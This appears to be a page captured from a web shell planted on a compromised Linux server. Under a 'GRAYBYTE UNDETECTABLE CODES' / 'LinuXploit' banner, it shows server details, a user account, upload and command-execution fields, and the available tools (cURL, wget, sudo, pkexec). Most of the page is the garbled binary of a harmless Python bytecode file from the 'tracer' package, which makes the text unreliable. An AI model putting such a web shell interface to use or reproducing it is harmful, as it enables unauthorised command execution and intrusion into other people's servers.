- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 18.188.78.86
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/tracer/packageManagers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/tracer/packageManagers/__pycache__/rpm.cpython-36.pyc
3

"e��@s�ddlmZddlmZej�dkr�dd	lmZd
dlmZddl	m
Z
dd
lmZddl
mZmZddlmZddlZddlZddlZGdd�de�ZdS)�)�absolute_import)�System�fedora�rhel�centos�centos-7�mageia�ol)�listdir�)�IPackageManager)�Package)�PackagesCollection)�LockedDatabase�DatabasePermissions)�PY3Nc@steZdZdZdd�Zedd��Zdd�Zdd	�Zd
d�Z	dd
�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�ZdS)�Rpmz!
		Package manager class - RPM
		cKs
||_dS)N)�opts)�self�kwargs�r�/usr/lib/python3.6/rpm.py�__init__*szRpm.__init__cCstS)N)�NotImplemented)rrrr�history_path-szRpm.history_pathc	Cs�tjj|j�stg�S|jjd�r(d}nd}ydt�}|j�}tj	|�}tj
|_|j�}|j
||g�x(|j�D]}|jt|d|d��qnW|Stjk
r�}zt|�dkr�t�nt��WYdd}~XnXdS)zp
			Returns list of packages which were modified between unix_time and present
			Requires root permissions.
			�modern_swdbz�
					SELECT DISTINCT rpm.name, trans.dt_end AS end

					FROM trans JOIN trans_item JOIN rpm
					ON trans.id=trans_item.trans_id
					AND trans_item.item_id=rpm.item_id

					WHERE trans.dt_begin > ?
					ORDER BY rpm.name
				aJ
					SELECT DISTINCT pkgtups.name, trans_end.timestamp AS end

					FROM trans_beg JOIN trans_end JOIN trans_data_pkgs JOIN pkgtups
					ON trans_beg.tid=trans_end.tid
					AND trans_data_pkgs.tid=trans_beg.tid
					AND trans_data_pkgs.pkgtupid=pkgtups.pkgtupid

					WHERE trans_beg.timestamp > ?
					ORDER BY pkgtups.name
				�name�endzdatabase is lockedN)�os�path�existsrrr�get�_database_file�sqlite3ZconnectZRowZrow_factory�cursorZexecuteZfetchall�appendr
ZOperationalError�strrr)	rZ	unix_timeZsql�packagesZsqliteZconnr$�result�errr�packages_newer_than0s"

zRpm.packages_newer_thancCsdtj�}|jd|�}t|�}|s$gStrDtj|d�}dd�|D�Stj|d�}dd�|D�SdS)z�
			Returns list of files provided by package
			See also: http://docs.fedoraproject.org/en-US/Fedora_Draft_Documentation/0.1/html/RPM_Guide/ch04s02s03.html
			rrcSsg|]
}|j�qSr)r)�.0�xrrr�
<listcomp>qsz%Rpm.package_files.<locals>.<listcomp>cSsg|]}|d�qS)rr)r+�frrrr-tsN)�rpm�TransactionSet�dbMatch�listr�filesZfi)rZpkg_name�ts�mir'r3rrr�
package_filesbszRpm.package_filescCs�|j|�}tj�}|jd|�}xl|D]d}|tj|dkr$|tj|dkr$|tj|dkr$|tj|dkr$t|�}|j	||�|Sq$WdS)Nrrr��)
�
_splitEvrar/r0r1�RPMTAG_EPOCH�RPMTAG_VERSION�RPMTAG_RELEASEZRPMTAG_ARCHr
�_load_package_info_from_hdr)rr�evrar4r5�hdr�packagerrr�find_packagevs

HzRpm.find_packagecCs�|sdStj�}|jd|j�}d}xz|D]r}|dkr:|}q(tjt|tj�t|tj�t|tj�ft|tj�t|tj�t|tj�f�}|dkr(|}q(W|dkr�dS|j	||�dS)zFFrom database load informations about given package and set them to itNrr���)
r/r0r1r�labelComparer&r:r;r<r=)rr@r4r5Zlatestr?Zcomparerrr�load_package_info�s
**zRpm.load_package_infocCs<tjt|j�t|j�t|j�ft|j�t|j�t|j�f�S)zf
			labelCompare returns:
			0 if the EVR matches
			1 if EVR(1) > EVR(2)
			-1 if EVR(2) > EVR(1)
			)r/rCr&�epoch�version�release)rZp1Zp2rrr�compare_packages�szRpm.compare_packagescCsh|jd}|j|j�}|rd|jdkr`x:|j�dd�D]&}tjj|�r6|j|�}|rX|SdSq6W|SdS)z8Returns name of package which provides given applicationrzDevelopment/LanguagesrN)Z	instances�_file_provided_byZexe�categoryZcmdlinerr�isfile)rZappZprocessr@�argrrr�provided_by�s


zRpm.provided_byc
Cs�|jd�}||dd�}|d|�jd�}||d|�}|d|�jd�}||d|�}|jd�}|dkrvd}	n|d|�}	|	|||fS)z�
			Derived from rpmUtils.miscutils.splitFilename
			https://github.com/rpm-software-management/yum/blob/master/rpmUtils/miscutils.py

			Given: 9-123a.ia64
			Return: (9, 123a, 1, ia64)
			�.rN�-�:rB)�rfind�find)
rr>Z	archIndexZarchZrelIndexZrelZverIndexZverZ
epochIndexrErrrr9�s	

zRpm._splitEvracCsH|tj|_|tj|_|tj}|r,||_|tj|_|tj	|_
dS)N)r/ZRPMTAG_SUMMARY�description�RPMTAG_GROUPrJr:rEr;rFr<rG)rr@r?rErrrr=�s
zRpm._load_package_info_from_hdrcCsJtj�}|jd|�}|j�dkr$dSt|�}t|tj�}|tj|_|S)z1Returns name of package which provides given fileZ	basenamesrN)	r/r0r1�count�nextr
ZRPMTAG_NAMErTrJ)r�filer4ZdbZpkg�prrrrI�szRpm._file_provided_bycCsP|jjd�r|jSx8tt|j�dd�D]"}|jd�r&|jd�r&|j|Sq&WdS)z)Returns path to yum history database filerT)�reversezhistory-z.sqliteN)rr!r�sortedr
�
startswith�endswith)rrWrrrr"�s
zRpm._database_fileN)�__name__�
__module__�__qualname__�__doc__r�propertyrr*r6rArDrHrMr9r=rIr"rrrrr#s2	r)rrrrrr	)Z
__future__rZtracer.resources.systemrZdistributionrr
ZipackageManagerrZtracer.resources.packager
Ztracer.resources.collectionsrZtracer.resources.exceptionsrrZtracer.resources.pycomprr#r/rrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit